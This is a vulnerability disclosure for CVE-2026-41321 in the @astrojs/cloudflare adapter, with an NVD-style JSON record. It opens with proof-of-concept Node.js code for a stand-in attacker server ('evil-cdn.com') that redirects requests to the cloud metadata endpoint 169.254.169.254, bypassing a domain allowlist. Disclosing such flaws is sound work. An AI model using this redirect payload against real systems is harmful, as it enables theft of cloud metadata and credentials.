CVE-2026-41321

// PoC Concept: SSRF via Redirect Bypass // Attacker controls: http://evil-cdn.com (assumed whitelisted) // Target: http://169.254.169.254/latest/meta-data/ // 1. Malicious Server Configuration (Node.js example) const http = require('http'); const server = http.createServer((req, res) => { console.log('Request received from victim'); // Respond with a redirect to an internal resource res.writeHead(302, { 'Location': 'http://169.254.169.254/latest/meta-data/' }); res.end(); }); server.listen(80); // 2. Vulnerable Request Flow in Astro // The victim app requests: http://evil-cdn.com/image.jpg // // Code path in @astrojs/cloudflare: // - isRemoteAllowed('http://evil-cdn.com/image.jpg') -> Returns True (Domain is allowed) // - fetch('http://evil-cdn.com/image.jpg', { redirect: 'follow' }) // -> Receives 302 from evil-cdn.com // -> Automatically follows to http://169.254.169.254/latest/meta-data/ // -> Returns internal metadata to the attacker

{"cve": {"id": "CVE-2026-41321", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:28.783", "lastModified": "2026-04-27T18:53:00.053", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "@astrojs/cloudflare is an SSR adapter for use with Cloudflare Workers targets. Prior to 13.1.10, the fetch() call for remote images in packages/integrations/cloudflare/src/utils/image-binding-transform.ts uses the default redirect: 'follow' behavior. This allows the Cloudflare Worker to follow HTTP redirects to arbitrary URLs, bypassing the isRemoteAllowed() domain allowlist check which only validates the initial URL. This vulnerabiity is caused by an incomplete fix for CVE-2025-58179. This vulnerability is fixed in 13.1.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.2, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.7, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/withastro/astro/security/advisories/GHSA-88gm-j2wx-58h6", "source": "[email protected]"}, {"url": "https://github.com/withastro/astro/security/advisories/GHSA-88gm-j2wx-58h6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}